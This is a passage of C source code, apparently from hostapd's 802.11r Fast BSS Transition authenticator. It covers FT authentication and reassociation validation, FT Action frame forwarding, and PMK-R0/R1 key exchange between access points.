os_memcmp(mdie->mobility_domain, sm->wpa_auth->conf.mobility_domain, MOBILITY_DOMAIN_ID_LEN) != 0) { wpa_printf(MSG_DEBUG, "FT: Invalid MDIE"); return WLAN_STATUS_INVALID_MDIE; } if (use_sha384) { struct rsn_ftie_sha384 *ftie; ftie = (struct rsn_ftie_sha384 *) parse.ftie; if (!ftie || parse.ftie_len < sizeof(*ftie)) { wpa_printf(MSG_DEBUG, "FT: Invalid FTIE"); return WLAN_STATUS_INVALID_FTIE; } os_memcpy(sm->SNonce, ftie->snonce, WPA_NONCE_LEN); } else { struct rsn_ftie *ftie; ftie = (struct rsn_ftie *) parse.ftie; if (!ftie || parse.ftie_len < sizeof(*ftie)) { wpa_printf(MSG_DEBUG, "FT: Invalid FTIE"); return WLAN_STATUS_INVALID_FTIE; } os_memcpy(sm->SNonce, ftie->snonce, WPA_NONCE_LEN); } if (parse.r0kh_id == NULL) { wpa_printf(MSG_DEBUG, "FT: Invalid FTIE - no R0KH-ID"); return WLAN_STATUS_INVALID_FTIE; } wpa_hexdump(MSG_DEBUG, "FT: STA R0KH-ID", parse.r0kh_id, parse.r0kh_id_len); os_memcpy(sm->r0kh_id, parse.r0kh_id, parse.r0kh_id_len); sm->r0kh_id_len = parse.r0kh_id_len; if (parse.rsn_pmkid == NULL) { wpa_printf(MSG_DEBUG, "FT: No PMKID in RSNIE"); return WLAN_STATUS_INVALID_PMKID; } if (wpa_ft_set_key_mgmt(sm, &parse) < 0) return WLAN_STATUS_UNSPECIFIED_FAILURE; wpa_hexdump(MSG_DEBUG, "FT: Requested PMKR0Name", parse.rsn_pmkid, WPA_PMK_NAME_LEN); if (wpa_derive_pmk_r1_name(parse.rsn_pmkid, sm->wpa_auth->conf.r1_key_holder, sm->addr, pmk_r1_name) < 0) return WLAN_STATUS_UNSPECIFIED_FAILURE; wpa_hexdump(MSG_DEBUG, "FT: Derived requested PMKR1Name", pmk_r1_name, WPA_PMK_NAME_LEN); if (conf->ft_psk_generate_local && wpa_key_mgmt_ft_psk(sm->wpa_key_mgmt)) { if (wpa_ft_psk_pmk_r1(sm, pmk_r1_name, pmk_r1, &pairwise, &vlan, &identity, &identity_len, &radius_cui, &radius_cui_len, &session_timeout) < 0) return WLAN_STATUS_INVALID_PMKID; wpa_printf(MSG_DEBUG, "FT: Generated PMK-R1 for FT-PSK locally"); } else if (wpa_ft_fetch_pmk_r1(sm->wpa_auth, sm->addr, pmk_r1_name, pmk_r1, &pmk_r1_len, &pairwise, &vlan, &identity, &identity_len, &radius_cui, &radius_cui_len, &session_timeout) < 0) { wpa_printf(MSG_DEBUG, "FT: No PMK-R1 available in local cache for the requested PMKR1Name"); if (wpa_ft_local_derive_pmk_r1(sm->wpa_auth, sm, parse.r0kh_id, parse.r0kh_id_len, parse.rsn_pmkid, pmk_r1_name, pmk_r1, &pairwise, &vlan, &identity, &identity_len, &radius_cui, &radius_cui_len, &session_timeout) == 0) { wpa_printf(MSG_DEBUG, "FT: Generated PMK-R1 based on local PMK-R0"); goto pmk_r1_derived; } if (wpa_ft_pull_pmk_r1(sm, ies, ies_len, parse.rsn_pmkid) < 0) { wpa_printf(MSG_DEBUG, "FT: Did not have matching PMK-R1 and either unknown or blocked R0KH-ID or NAK from R0KH"); return WLAN_STATUS_INVALID_PMKID; } return -1; /* Status pending */ } else { wpa_printf(MSG_DEBUG, "FT: Found PMKR1Name from local cache"); } pmk_r1_derived: wpa_hexdump_key(MSG_DEBUG, "FT: Selected PMK-R1", pmk_r1, pmk_r1_len); sm->pmk_r1_name_valid = 1; os_memcpy(sm->pmk_r1_name, pmk_r1_name, WPA_PMK_NAME_LEN); if (random_get_bytes(sm->ANonce, WPA_NONCE_LEN)) { wpa_printf(MSG_DEBUG, "FT: Failed to get random data for " "ANonce"); return WLAN_STATUS_UNSPECIFIED_FAILURE; } wpa_hexdump(MSG_DEBUG, "FT: Received SNonce", sm->SNonce, WPA_NONCE_LEN); wpa_hexdump(MSG_DEBUG, "FT: Generated ANonce", sm->ANonce, WPA_NONCE_LEN); if (wpa_pmk_r1_to_ptk(pmk_r1, pmk_r1_len, sm->SNonce, sm->ANonce, sm->addr, sm->wpa_auth->addr, pmk_r1_name, &sm->PTK, ptk_name, sm->wpa_key_mgmt, pairwise) < 0) return WLAN_STATUS_UNSPECIFIED_FAILURE; sm->pairwise = pairwise; sm->PTK_valid = TRUE; sm->tk_already_set = FALSE; wpa_ft_install_ptk(sm); if (wpa_ft_set_vlan(sm->wpa_auth, sm->addr, &vlan) < 0) { wpa_printf(MSG_DEBUG, "FT: Failed to configure VLAN"); return WLAN_STATUS_UNSPECIFIED_FAILURE; } if (wpa_ft_set_identity(sm->wpa_auth, sm->addr, identity, identity_len) < 0 || wpa_ft_set_radius_cui(sm->wpa_auth, sm->addr, radius_cui, radius_cui_len) < 0) { wpa_printf(MSG_DEBUG, "FT: Failed to configure identity/CUI"); return WLAN_STATUS_UNSPECIFIED_FAILURE; } wpa_ft_set_session_timeout(sm->wpa_auth, sm->addr, session_timeout); buflen = 2 + sizeof(struct rsn_mdie) + 2 + sizeof(struct rsn_ftie) + 2 + FT_R1KH_ID_LEN + 200; *resp_ies = os_zalloc(buflen); if (*resp_ies == NULL) goto fail; pos = *resp_ies; end = *resp_ies + buflen; ret = wpa_write_rsn_ie(conf, pos, end - pos, parse.rsn_pmkid); if (ret < 0) goto fail; pos += ret; ret = wpa_write_mdie(conf, pos, end - pos); if (ret < 0) goto fail; pos += ret; ret = wpa_write_ftie(conf, use_sha384, parse.r0kh_id, parse.r0kh_id_len, sm->ANonce, sm->SNonce, pos, end - pos, NULL, 0); if (ret < 0) goto fail; pos += ret; *resp_ies_len = pos - *resp_ies; return WLAN_STATUS_SUCCESS; fail: os_free(*resp_ies); *resp_ies = NULL; return WLAN_STATUS_UNSPECIFIED_FAILURE; } void wpa_ft_process_auth(struct wpa_state_machine *sm, const u8 *bssid, u16 auth_transaction, const u8 *ies, size_t ies_len, void (*cb)(void *ctx, const u8 *dst, const u8 *bssid, u16 auth_transaction, u16 status, const u8 *ies, size_t ies_len), void *ctx) { u16 status; u8 *resp_ies; size_t resp_ies_len; int res; if (sm == NULL) { wpa_printf(MSG_DEBUG, "FT: Received authentication frame, but " "WPA SM not available"); return; } wpa_printf(MSG_DEBUG, "FT: Received authentication frame: STA=" MACSTR " BSSID=" MACSTR " transaction=%d", MAC2STR(sm->addr), MAC2STR(bssid), auth_transaction); sm->ft_pending_cb = cb; sm->ft_pending_cb_ctx = ctx; sm->ft_pending_auth_transaction = auth_transaction; sm->ft_pending_pull_left_retries = sm->wpa_auth->conf.rkh_pull_retries; res = wpa_ft_process_auth_req(sm, ies, ies_len, &resp_ies, &resp_ies_len); if (res < 0) { wpa_printf(MSG_DEBUG, "FT: Callback postponed until response is available"); return; } status = res; wpa_printf(MSG_DEBUG, "FT: FT authentication response: dst=" MACSTR " auth_transaction=%d status=%d", MAC2STR(sm->addr), auth_transaction + 1, status); wpa_hexdump(MSG_DEBUG, "FT: Response IEs", resp_ies, resp_ies_len); cb(ctx, sm->addr, bssid, auth_transaction + 1, status, resp_ies, resp_ies_len); os_free(resp_ies); } u16 wpa_ft_validate_reassoc(struct wpa_state_machine *sm, const u8 *ies, size_t ies_len) { struct wpa_ft_ies parse; struct rsn_mdie *mdie; u8 mic[WPA_EAPOL_KEY_MIC_MAX_LEN]; size_t mic_len = 16; unsigned int count; const u8 *kck; size_t kck_len; int use_sha384; const u8 *anonce, *snonce, *fte_mic; u8 fte_elem_count; if (sm == NULL) return WLAN_STATUS_UNSPECIFIED_FAILURE; use_sha384 = wpa_key_mgmt_sha384(sm->wpa_key_mgmt); wpa_hexdump(MSG_DEBUG, "FT: Reassoc Req IEs", ies, ies_len); if (wpa_ft_parse_ies(ies, ies_len, &parse, use_sha384) < 0) { wpa_printf(MSG_DEBUG, "FT: Failed to parse FT IEs"); return WLAN_STATUS_UNSPECIFIED_FAILURE; } if (parse.rsn == NULL) { wpa_printf(MSG_DEBUG, "FT: No RSNIE in Reassoc Req"); return WLAN_STATUS_UNSPECIFIED_FAILURE; } if (parse.rsn_pmkid == NULL) { wpa_printf(MSG_DEBUG, "FT: No PMKID in RSNIE"); return WLAN_STATUS_INVALID_PMKID; } if (os_memcmp_const(parse.rsn_pmkid, sm->pmk_r1_name, WPA_PMK_NAME_LEN) != 0) { wpa_printf(MSG_DEBUG, "FT: PMKID in Reassoc Req did not match " "with the PMKR1Name derived from auth request"); return WLAN_STATUS_INVALID_PMKID; } mdie = (struct rsn_mdie *) parse.mdie; if (mdie == NULL || parse.mdie_len < sizeof(*mdie) || os_memcmp(mdie->mobility_domain, sm->wpa_auth->conf.mobility_domain, MOBILITY_DOMAIN_ID_LEN) != 0) { wpa_printf(MSG_DEBUG, "FT: Invalid MDIE"); return WLAN_STATUS_INVALID_MDIE; } if (use_sha384) { struct rsn_ftie_sha384 *ftie; ftie = (struct rsn_ftie_sha384 *) parse.ftie; if (ftie == NULL || parse.ftie_len < sizeof(*ftie)) { wpa_printf(MSG_DEBUG, "FT: Invalid FTIE"); return WLAN_STATUS_INVALID_FTIE; } anonce = ftie->anonce; snonce = ftie->snonce; fte_elem_count = ftie->mic_control[1]; fte_mic = ftie->mic; } else { struct rsn_ftie *ftie; ftie = (struct rsn_ftie *) parse.ftie; if (ftie == NULL || parse.ftie_len < sizeof(*ftie)) { wpa_printf(MSG_DEBUG, "FT: Invalid FTIE"); return WLAN_STATUS_INVALID_FTIE; } anonce = ftie->anonce; snonce = ftie->snonce; fte_elem_count = ftie->mic_control[1]; fte_mic = ftie->mic; } if (os_memcmp(snonce, sm->SNonce, WPA_NONCE_LEN) != 0) { wpa_printf(MSG_DEBUG, "FT: SNonce mismatch in FTIE"); wpa_hexdump(MSG_DEBUG, "FT: Received SNonce", snonce, WPA_NONCE_LEN); wpa_hexdump(MSG_DEBUG, "FT: Expected SNonce", sm->SNonce, WPA_NONCE_LEN); return WLAN_STATUS_INVALID_FTIE; } if (os_memcmp(anonce, sm->ANonce, WPA_NONCE_LEN) != 0) { wpa_printf(MSG_DEBUG, "FT: ANonce mismatch in FTIE"); wpa_hexdump(MSG_DEBUG, "FT: Received ANonce", anonce, WPA_NONCE_LEN); wpa_hexdump(MSG_DEBUG, "FT: Expected ANonce", sm->ANonce, WPA_NONCE_LEN); return WLAN_STATUS_INVALID_FTIE; } if (parse.r0kh_id == NULL) { wpa_printf(MSG_DEBUG, "FT: No R0KH-ID subelem in FTIE"); return WLAN_STATUS_INVALID_FTIE; } if (parse.r0kh_id_len != sm->r0kh_id_len || os_memcmp_const(parse.r0kh_id, sm->r0kh_id, parse.r0kh_id_len) != 0) { wpa_printf(MSG_DEBUG, "FT: R0KH-ID in FTIE did not match with " "the current R0KH-ID"); wpa_hexdump(MSG_DEBUG, "FT: R0KH-ID in FTIE", parse.r0kh_id, parse.r0kh_id_len); wpa_hexdump(MSG_DEBUG, "FT: The current R0KH-ID", sm->r0kh_id, sm->r0kh_id_len); return WLAN_STATUS_INVALID_FTIE; } if (parse.r1kh_id == NULL) { wpa_printf(MSG_DEBUG, "FT: No R1KH-ID subelem in FTIE"); return WLAN_STATUS_INVALID_FTIE; } if (os_memcmp_const(parse.r1kh_id, sm->wpa_auth->conf.r1_key_holder, FT_R1KH_ID_LEN) != 0) { wpa_printf(MSG_DEBUG, "FT: Unknown R1KH-ID used in " "ReassocReq"); wpa_hexdump(MSG_DEBUG, "FT: R1KH-ID in FTIE", parse.r1kh_id, FT_R1KH_ID_LEN); wpa_hexdump(MSG_DEBUG, "FT: Expected R1KH-ID", sm->wpa_auth->conf.r1_key_holder, FT_R1KH_ID_LEN); return WLAN_STATUS_INVALID_FTIE; } if (parse.rsn_pmkid == NULL || os_memcmp_const(parse.rsn_pmkid, sm->pmk_r1_name, WPA_PMK_NAME_LEN)) { wpa_printf(MSG_DEBUG, "FT: No matching PMKR1Name (PMKID) in " "RSNIE (pmkid=%d)", !!parse.rsn_pmkid); return WLAN_STATUS_INVALID_PMKID; } count = 3; if (parse.ric) count += ieee802_11_ie_count(parse.ric, parse.ric_len); if (fte_elem_count != count) { wpa_printf(MSG_DEBUG, "FT: Unexpected IE count in MIC " "Control: received %u expected %u", fte_elem_count, count); return WLAN_STATUS_UNSPECIFIED_FAILURE; } if (wpa_key_mgmt_fils(sm->wpa_key_mgmt)) { kck = sm->PTK.kck2; kck_len = sm->PTK.kck2_len; } else { kck = sm->PTK.kck; kck_len = sm->PTK.kck_len; } if (wpa_ft_mic(kck, kck_len, sm->addr, sm->wpa_auth->addr, 5, parse.mdie - 2, parse.mdie_len + 2, parse.ftie - 2, parse.ftie_len + 2, parse.rsn - 2, parse.rsn_len + 2, parse.ric, parse.ric_len, mic) < 0) { wpa_printf(MSG_DEBUG, "FT: Failed to calculate MIC"); return WLAN_STATUS_UNSPECIFIED_FAILURE; } if (os_memcmp_const(mic, fte_mic, mic_len) != 0) { wpa_printf(MSG_DEBUG, "FT: Invalid MIC in FTIE"); wpa_printf(MSG_DEBUG, "FT: addr=" MACSTR " auth_addr=" MACSTR, MAC2STR(sm->addr), MAC2STR(sm->wpa_auth->addr)); wpa_hexdump(MSG_MSGDUMP, "FT: Received MIC", fte_mic, mic_len); wpa_hexdump(MSG_MSGDUMP, "FT: Calculated MIC", mic, mic_len); wpa_hexdump(MSG_MSGDUMP, "FT: MDIE", parse.mdie - 2, parse.mdie_len + 2); wpa_hexdump(MSG_MSGDUMP, "FT: FTIE", parse.ftie - 2, parse.ftie_len + 2); wpa_hexdump(MSG_MSGDUMP, "FT: RSN", parse.rsn - 2, parse.rsn_len + 2); return WLAN_STATUS_INVALID_FTIE; } return WLAN_STATUS_SUCCESS; } int wpa_ft_action_rx(struct wpa_state_machine *sm, const u8 *data, size_t len) { const u8 *sta_addr, *target_ap; const u8 *ies; size_t ies_len; u8 action; struct ft_rrb_frame *frame; if (sm == NULL) return -1; /* * data: Category[1] Action[1] STA_Address[6] Target_AP_Address[6] * FT Request action frame body[variable] */ if (len < 14) { wpa_printf(MSG_DEBUG, "FT: Too short FT Action frame " "(len=%lu)", (unsigned long) len); return -1; } action = data[1]; sta_addr = data + 2; target_ap = data + 8; ies = data + 14; ies_len = len - 14; wpa_printf(MSG_DEBUG, "FT: Received FT Action frame (STA=" MACSTR " Target AP=" MACSTR " Action=%d)", MAC2STR(sta_addr), MAC2STR(target_ap), action); if (os_memcmp(sta_addr, sm->addr, ETH_ALEN) != 0) { wpa_printf(MSG_DEBUG, "FT: Mismatch in FT Action STA address: " "STA=" MACSTR " STA-Address=" MACSTR, MAC2STR(sm->addr), MAC2STR(sta_addr)); return -1; } /* * Do some sanity checking on the target AP address (not own and not * broadcast. This could be extended to filter based on a list of known * APs in the MD (if such a list were configured). */ if ((target_ap[0] & 0x01) || os_memcmp(target_ap, sm->wpa_auth->addr, ETH_ALEN) == 0) { wpa_printf(MSG_DEBUG, "FT: Invalid Target AP in FT Action " "frame"); return -1; } wpa_hexdump(MSG_MSGDUMP, "FT: Action frame body", ies, ies_len); if (!sm->wpa_auth->conf.ft_over_ds) { wpa_printf(MSG_DEBUG, "FT: Over-DS option disabled - reject"); return -1; } /* RRB - Forward action frame to the target AP */ frame = os_malloc(sizeof(*frame) + len); if (frame == NULL) return -1; frame->frame_type = RSN_REMOTE_FRAME_TYPE_FT_RRB; frame->packet_type = FT_PACKET_REQUEST; frame->action_length = host_to_le16(len); os_memcpy(frame->ap_address, sm->wpa_auth->addr, ETH_ALEN); os_memcpy(frame + 1, data, len); wpa_ft_rrb_send(sm->wpa_auth, target_ap, (u8 *) frame, sizeof(*frame) + len); os_free(frame); return 0; } static void wpa_ft_rrb_rx_request_cb(void *ctx, const u8 *dst, const u8 *bssid, u16 auth_transaction, u16 resp, const u8 *ies, size_t ies_len) { struct wpa_state_machine *sm = ctx; wpa_printf(MSG_DEBUG, "FT: Over-the-DS RX request cb for " MACSTR, MAC2STR(sm->addr)); wpa_ft_send_rrb_auth_resp(sm, sm->ft_pending_current_ap, sm->addr, WLAN_STATUS_SUCCESS, ies, ies_len); } static int wpa_ft_rrb_rx_request(struct wpa_authenticator *wpa_auth, const u8 *current_ap, const u8 *sta_addr, const u8 *body, size_t len) { struct wpa_state_machine *sm; u16 status; u8 *resp_ies; size_t resp_ies_len; int res; sm = wpa_ft_add_sta(wpa_auth, sta_addr); if (sm == NULL) { wpa_printf(MSG_DEBUG, "FT: Failed to add new STA based on " "RRB Request"); return -1; } wpa_hexdump(MSG_MSGDUMP, "FT: RRB Request Frame body", body, len); sm->ft_pending_cb = wpa_ft_rrb_rx_request_cb; sm->ft_pending_cb_ctx = sm; os_memcpy(sm->ft_pending_current_ap, current_ap, ETH_ALEN); sm->ft_pending_pull_left_retries = sm->wpa_auth->conf.rkh_pull_retries; res = wpa_ft_process_auth_req(sm, body, len, &resp_ies, &resp_ies_len); if (res < 0) { wpa_printf(MSG_DEBUG, "FT: No immediate response available - wait for pull response"); return 0; } status = res; res = wpa_ft_send_rrb_auth_resp(sm, current_ap, sta_addr, status, resp_ies, resp_ies_len); os_free(resp_ies); return res; } static int wpa_ft_send_rrb_auth_resp(struct wpa_state_machine *sm, const u8 *current_ap, const u8 *sta_addr, u16 status, const u8 *resp_ies, size_t resp_ies_len) { struct wpa_authenticator *wpa_auth = sm->wpa_auth; size_t rlen; struct ft_rrb_frame *frame; u8 *pos; wpa_printf(MSG_DEBUG, "FT: RRB authentication response: STA=" MACSTR " CurrentAP=" MACSTR " status=%d", MAC2STR(sm->addr), MAC2STR(current_ap), status); wpa_hexdump(MSG_DEBUG, "FT: Response IEs", resp_ies, resp_ies_len); /* RRB - Forward action frame response to the Current AP */ /* * data: Category[1] Action[1] STA_Address[6] Target_AP_Address[6] * Status_Code[2] FT Request action frame body[variable] */ rlen = 2 + 2 * ETH_ALEN + 2 + resp_ies_len; frame = os_malloc(sizeof(*frame) + rlen); if (frame == NULL) return -1; frame->frame_type = RSN_REMOTE_FRAME_TYPE_FT_RRB; frame->packet_type = FT_PACKET_RESPONSE; frame->action_length = host_to_le16(rlen); os_memcpy(frame->ap_address, wpa_auth->addr, ETH_ALEN); pos = (u8 *) (frame + 1); *pos++ = WLAN_ACTION_FT; *pos++ = 2; /* Action: Response */ os_memcpy(pos, sta_addr, ETH_ALEN); pos += ETH_ALEN; os_memcpy(pos, wpa_auth->addr, ETH_ALEN); pos += ETH_ALEN; WPA_PUT_LE16(pos, status); pos += 2; if (resp_ies) os_memcpy(pos, resp_ies, resp_ies_len); wpa_ft_rrb_send(wpa_auth, current_ap, (u8 *) frame, sizeof(*frame) + rlen); os_free(frame); return 0; } static int wpa_ft_rrb_build_r0(const u8 *key, const size_t key_len, const struct tlv_list *tlvs, const struct wpa_ft_pmk_r0_sa *pmk_r0, const u8 *r1kh_id, const u8 *s1kh_id, const struct tlv_list *tlv_auth, const u8 *src_addr, u8 type, u8 **packet, size_t *packet_len) { u8 pmk_r1[PMK_LEN_MAX]; size_t pmk_r1_len = pmk_r0->pmk_r0_len; u8 pmk_r1_name[WPA_PMK_NAME_LEN]; u8 f_pairwise[sizeof(le16)]; u8 f_expires_in[sizeof(le16)]; u8 f_session_timeout[sizeof(le32)]; int expires_in; int session_timeout; struct os_reltime now; int ret; struct tlv_list sess_tlv[] = { { .type = FT_RRB_PMK_R1, .len = pmk_r1_len, .data = pmk_r1 }, { .type = FT_RRB_PMK_R1_NAME, .len = sizeof(pmk_r1_name), .data = pmk_r1_name }, { .type = FT_RRB_PAIRWISE, .len = sizeof(f_pairwise), .data = f_pairwise }, { .type = FT_RRB_EXPIRES_IN, .len = sizeof(f_expires_in), .data = f_expires_in }, { .type = FT_RRB_IDENTITY, .len = pmk_r0->identity_len, .data = pmk_r0->identity }, { .type = FT_RRB_RADIUS_CUI, .len = pmk_r0->radius_cui_len, .data = pmk_r0->radius_cui }, { .type = FT_RRB_SESSION_TIMEOUT, .len = sizeof(f_session_timeout), .data = f_session_timeout }, { .type = FT_RRB_LAST_EMPTY, .len = 0, .data = NULL }, }; if (wpa_derive_pmk_r1(pmk_r0->pmk_r0, pmk_r0->pmk_r0_len, pmk_r0->pmk_r0_name, r1kh_id, s1kh_id, pmk_r1, pmk_r1_name) < 0) return -1; wpa_hexdump_key(MSG_DEBUG, "FT: PMK-R1 (for peer AP)", pmk_r1, pmk_r1_len); wpa_hexdump(MSG_DEBUG, "FT: PMKR1Name (for peer AP)", pmk_r1_name, WPA_PMK_NAME_LEN); WPA_PUT_LE16(f_pairwise, pmk_r0->pairwise); os_get_reltime(&now); if (pmk_r0->expiration > now.sec) expires_in = pmk_r0->expiration - now.sec; else if (pmk_r0->expiration) expires_in = 1; else expires_in = 0; WPA_PUT_LE16(f_expires_in, expires_in); if (pmk_r0->session_timeout > now.sec) session_timeout = pmk_r0->session_timeout - now.sec; else if (pmk_r0->session_timeout) session_timeout = 1; else session_timeout = 0; WPA_PUT_LE32(f_session_timeout, session_timeout); ret = wpa_ft_rrb_build(key, key_len, tlvs, sess_tlv, tlv_auth, pmk_r0->vlan, src_addr, type, packet, packet_len); os_memset(pmk_r1, 0, sizeof(pmk_r1)); return ret; } static int wpa_ft_rrb_rx_pull(struct wpa_authenticator *wpa_auth, const u8 *src_addr, const u8 *enc, size_t enc_len, const u8 *auth, size_t auth_len, int no_defer) { const char *msgtype = "pull request"; u8 *plain = NULL, *packet = NULL; size_t plain_len = 0, packet_len = 0; struct ft_remote_r1kh *r1kh, *r1kh_wildcard; const u8 *key; size_t key_len; int seq_ret; const u8 *f_nonce, *f_r0kh_id, *f_r1kh_id, *f_s1kh_id, *f_pmk_r0_name; size_t f_nonce_len, f_r0kh_id_len, f_r1kh_id_len, f_s1kh_id_len; size_t f_pmk_r0_name_len; const struct wpa_ft_pmk_r0_sa *r0; int ret; struct tlv_list resp[2]; struct tlv_list resp_auth[5]; struct ft_rrb_seq f_seq; wpa_printf(MSG_DEBUG, "FT: Received PMK-R1 pull"); RRB_GET_AUTH(FT_RRB_R0KH_ID, r0kh_id, msgtype, -1); wpa_hexdump(MSG_DEBUG, "FT: R0KH-ID", f_r0kh_id, f_r0kh_id_len); if (wpa_ft_rrb_check_r0kh(wpa_auth, f_r0kh_id, f_r0kh_id_len)) { wpa_printf(MSG_DEBUG, "FT: R0KH-ID mismatch"); goto out; } RRB_GET_AUTH(FT_RRB_R1KH_ID, r1kh_id, msgtype, FT_R1KH_ID_LEN); wpa_printf(MSG_DEBUG, "FT: R1KH-ID=" MACSTR, MAC2STR(f_r1kh_id)); wpa_ft_rrb_lookup_r1kh(wpa_auth, f_r1kh_id, &r1kh, &r1kh_wildcard); if (r1kh) { key = r1kh->key; key_len = sizeof(r1kh->key); } else if (r1kh_wildcard) { wpa_printf(MSG_DEBUG, "FT: Using wildcard R1KH-ID"); key = r1kh_wildcard->key; key_len = sizeof(r1kh_wildcard->key); } else { goto out; } RRB_GET_AUTH(FT_RRB_NONCE, nonce, "pull request", FT_RRB_NONCE_LEN); wpa_hexdump(MSG_DEBUG, "FT: nonce", f_nonce, f_nonce_len); seq_ret = FT_RRB_SEQ_DROP; if (r1kh) seq_ret = wpa_ft_rrb_seq_chk(r1kh->seq, src_addr, enc, enc_len, auth, auth_len, msgtype, no_defer); if (!no_defer && r1kh_wildcard && (!r1kh || os_memcmp(r1kh->addr, src_addr, ETH_ALEN) != 0)) { /* wildcard: r1kh-id unknown or changed addr -> do a seq req */ seq_ret = FT_RRB_SEQ_DEFER; } if (seq_ret == FT_RRB_SEQ_DROP) goto out; if (wpa_ft_rrb_decrypt(key, key_len, enc, enc_len, auth, auth_len, src_addr, FT_PACKET_R0KH_R1KH_PULL, &plain, &plain_len) < 0) goto out; if (!r1kh) r1kh = wpa_ft_rrb_add_r1kh(wpa_auth, r1kh_wildcard, src_addr, f_r1kh_id, wpa_auth->conf.rkh_pos_timeout); if (!r1kh) goto out; if (seq_ret == FT_RRB_SEQ_DEFER) { wpa_ft_rrb_seq_req(wpa_auth, r1kh->seq, src_addr, f_r0kh_id, f_r0kh_id_len, f_r1kh_id, key, key_len, enc, enc_len, auth, auth_len, &wpa_ft_rrb_rx_pull); goto out; } wpa_ft_rrb_seq_accept(wpa_auth, r1kh->seq, src_addr, auth, auth_len, msgtype); wpa_ft_rrb_r1kh_replenish(wpa_auth, r1kh, wpa_auth->conf.rkh_pos_timeout); RRB_GET(FT_RRB_PMK_R0_NAME, pmk_r0_name, msgtype, WPA_PMK_NAME_LEN); wpa_hexdump(MSG_DEBUG, "FT: PMKR0Name", f_pmk_r0_name, f_pmk_r0_name_len); RRB_GET(FT_RRB_S1KH_ID, s1kh_id, msgtype, ETH_ALEN); wpa_printf(MSG_DEBUG, "FT: S1KH-ID=" MACSTR, MAC2STR(f_s1kh_id)); if (wpa_ft_new_seq(r1kh->seq, &f_seq) < 0) { wpa_printf(MSG_DEBUG, "FT: Failed to get seq num"); goto out; } resp[0].type = FT_RRB_S1KH_ID; resp[0].len = f_s1kh_id_len; resp[0].data = f_s1kh_id; resp[1].type = FT_RRB_LAST_EMPTY; resp[1].len = 0; resp[1].data = NULL; resp_auth[0].type = FT_RRB_NONCE; resp_auth[0].len = f_nonce_len; resp_auth[0].data = f_nonce; resp_auth[1].type = FT_RRB_SEQ; resp_auth[1].len = sizeof(f_seq); resp_auth[1].data = (u8 *) &f_seq; resp_auth[2].type = FT_RRB_R0KH_ID; resp_auth[2].len = f_r0kh_id_len; resp_auth[2].data = f_r0kh_id; resp_auth[3].type = FT_RRB_R1KH_ID; resp_auth[3].len = f_r1kh_id_len; resp_auth[3].data = f_r1kh_id; resp_auth[4].type = FT_RRB_LAST_EMPTY; resp_auth[4].len = 0; resp_auth[4].data = NULL; if (wpa_ft_fetch_pmk_r0(wpa_auth, f_s1kh_id, f_pmk_r0_name, &r0) < 0) { wpa_printf(MSG_DEBUG, "FT: No matching PMK-R0-Name found"); ret = wpa_ft_rrb_build(key, key_len, resp, NULL, resp_auth, NULL, wpa_auth->addr, FT_PACKET_R0KH_R1KH_RESP, &packet, &packet_len); } else { ret = wpa_ft_rrb_build_r0(key, key_len, resp, r0, f_r1kh_id, f_s1kh_id, resp_auth, wpa_auth->addr, FT_PACKET_R0KH_R1KH_RESP, &packet, &packet_len); } if (!ret) wpa_ft_rrb_oui_send(wpa_auth, src_addr, FT_PACKET_R0KH_R1KH_RESP, packet, packet_len); out: os_free(plain); os_free(packet); return 0; } /* @returns 0 on success * -1 on error * -2 if FR_RRB_PAIRWISE is missing */ static int wpa_ft_rrb_rx_r1(struct wpa_authenticator *wpa_auth, const u8 *src_addr, u8 type, const u8 *enc, size_t enc_len, const u8 *auth, size_t auth_len, const char *msgtype, u8 *s1kh_id_out, int (*cb)(struct wpa_authenticator *wpa_auth, const u8 *src_addr, const u8 *enc, size_t enc_len, const u8 *auth, size_t auth_len, int no_defer)) { u8 *plain = NULL; size_t plain_len = 0; struct ft_remote_r0kh *r0kh, *r0kh_wildcard; const u8 *key; size_t key_len; int seq_ret; const u8 *f_r1kh_id, *f_s1kh_id, *f_r0kh_id; const u8 *f_pmk_r1_name, *f_pairwise, *f_pmk_r1; const u8 *f_expires_in; size_t f_r1kh_id_len, f_s1kh_id_len, f_r0kh_id_len; const u8 *f_identity, *f_radius_cui; const u8 *f_session_timeout; size_t f_pmk_r1_name_len, f_pairwise_len, f_pmk_r1_len; size_t f_expires_in_len; size_t f_identity_len, f_radius_cui_len; size_t f_session_timeout_len; int pairwise; int ret = -1; int expires_in; int session_timeout; struct vlan_description vlan; size_t pmk_r1_len; RRB_GET_AUTH(FT_RRB_R0KH_ID, r0kh_id, msgtype, -1); wpa_hexdump(MSG_DEBUG, "FT: R0KH-ID", f_r0kh_id, f_r0kh_id_len); RRB_GET_AUTH(FT_RRB_R1KH_ID, r1kh_id, msgtype, FT_R1KH_ID_LEN); wpa_printf(MSG_DEBUG, "FT: R1KH-ID=" MACSTR, MAC2STR(f_r1kh_id)); if (wpa_ft_rrb_check_r1kh(wpa_auth, f_r1kh_id)) { wpa_printf(MSG_DEBUG, "FT: R1KH-ID mismatch"); goto out; } wpa_ft_rrb_lookup_r0kh(wpa_auth, f_r0kh_id, f_r0kh_id_len, &r0kh, &r0kh_wildcard); if (r0kh) { key = r0kh->key; key_len = sizeof(r0kh->key); } else if (r0kh_wildcard) { wpa_printf(MSG_DEBUG, "FT: Using wildcard R0KH-ID"); key = r0kh_wildcard->key; key_len = sizeof(r0kh_wildcard->key); } else { goto out; } seq_ret = FT_RRB_SEQ_DROP; if (r0kh) { seq_ret = wpa_ft_rrb_seq_chk(r0kh->seq, src_addr, enc, enc_len, auth, auth_len, msgtype, cb ? 0 : 1); } if (cb && r0kh_wildcard && (!r0kh || os_memcmp(r0kh->addr, src_addr, ETH_ALEN) != 0)) { /* wildcard: r0kh-id unknown or changed addr -> do a seq req */ seq_ret = FT_RRB_SEQ_DEFER; } if (seq_ret == FT_RRB_SEQ_DROP) goto out; if (wpa_ft_rrb_decrypt(key, key_len, enc, enc_len, auth, auth_len, src_addr, type, &plain, &plain_len) < 0) goto out; if (!r0kh) r0kh = wpa_ft_rrb_add_r0kh(wpa_auth, r0kh_wildcard, src_addr, f_r0kh_id, f_r0kh_id_len, wpa_auth->conf.rkh_pos_timeout); if (!r0kh) goto out; if (seq_ret == FT_RRB_SEQ_DEFER) { wpa_ft_rrb_seq_req(wpa_auth, r0kh->seq, src_addr, f_r0kh_id, f_r0kh_id_len, f_r1kh_id, key, key_len, enc, enc_len, auth, auth_len, cb); goto out; } wpa_ft_rrb_seq_accept(wpa_auth, r0kh->seq, src_addr, auth, auth_len, msgtype); wpa_ft_rrb_r0kh_replenish(wpa_auth, r0kh, 